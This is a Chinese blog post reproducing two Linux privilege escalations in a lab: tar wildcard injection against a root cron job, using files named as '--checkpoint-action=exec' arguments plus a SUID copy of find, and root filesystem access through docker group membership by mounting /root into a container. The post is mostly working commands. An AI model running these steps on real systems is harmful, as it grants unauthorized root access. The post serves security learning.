linux定时任务打包提权&docker组提权

定时任务有打包命令,这个命令有参数调用可以执行其他命令,定时任务因为是root用户执行的,所以就会造成提权。

一、linux定时任务打包提权复现

环境:ubuntun14.04

1.创建定时任务:

在最下面写入:

 *  *  *  *  *  root sh /back.sh

在/创建back.sh

cd /
vim back.sh

内容:

cd /tmp;tar zcf /tmp/back.tar.gz *              #进入tmp目录,打包tmp目录下的所有文件为back.tar.gz                     

进入到tmp目录,观察是否打包成功:

cd /tmp
ls

成功打包:

2.切换用户,添加参数

su test
cd /tmp
echo "" > --checkpoint=1                        #设置一个检查点
echo "" > "--checkpoint-action=exec=sh 1.sh"    #执行命令
echo ‘cp /usr/bin/find /tmp/f; chmod +s /tmp/f’> 1.sh#命令添加有suid提权可能的命令
./f . -exec /bin/sh \;
id
#当第五条用不了时,直接新建文件写入
vim 1.sh
#内容:
cp /usr/bin/find  /tmp/f;chmod +s /tmp/f
#其他步骤是后面的6,7

成功提权:

分析:

定时任务里的打包命令,是一个一个文件开始打包的,当打包到--check-point=1时,tar加上这个参数是设置一个检查点,在这个检查点可以进行其他命令执行,进行其他命令执行用的--checkpoint-action=exec这个参数,也就是下一个要打包的文件,然后就用root执行了自己想要可以进行suid提权的命令,最后成功提权

二.docker组挂载提权

把普通用户添加到docker组里就可以运行docker了,但是docker服务是以root来运行的,所以可以达到提权的目的

复现:环境有docker的centos7

添加用户test

useradd test
passwd test

用root用户去改test用户的所属组,使test用户进入到docker组里

usermod -G docker test  #修改test用户的组为docker
newgrp docker           #newgrp切换用户的有效组

成功修改组

run 就是运行,-v 将外部的/root挂载到docker内部的mnt目录下,-it进入docker的shell,也可以使用外部的其他目录,如/etc,-it参数后的内容是docker镜像

利用:

su test
docker run -v /root:/mnt -it alpine

成功提权:

posted @   mushangqiujin  阅读(9)  评论(0编辑  收藏  举报  
相关博文:
阅读排行:
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
点击右上角即可分享
微信分享提示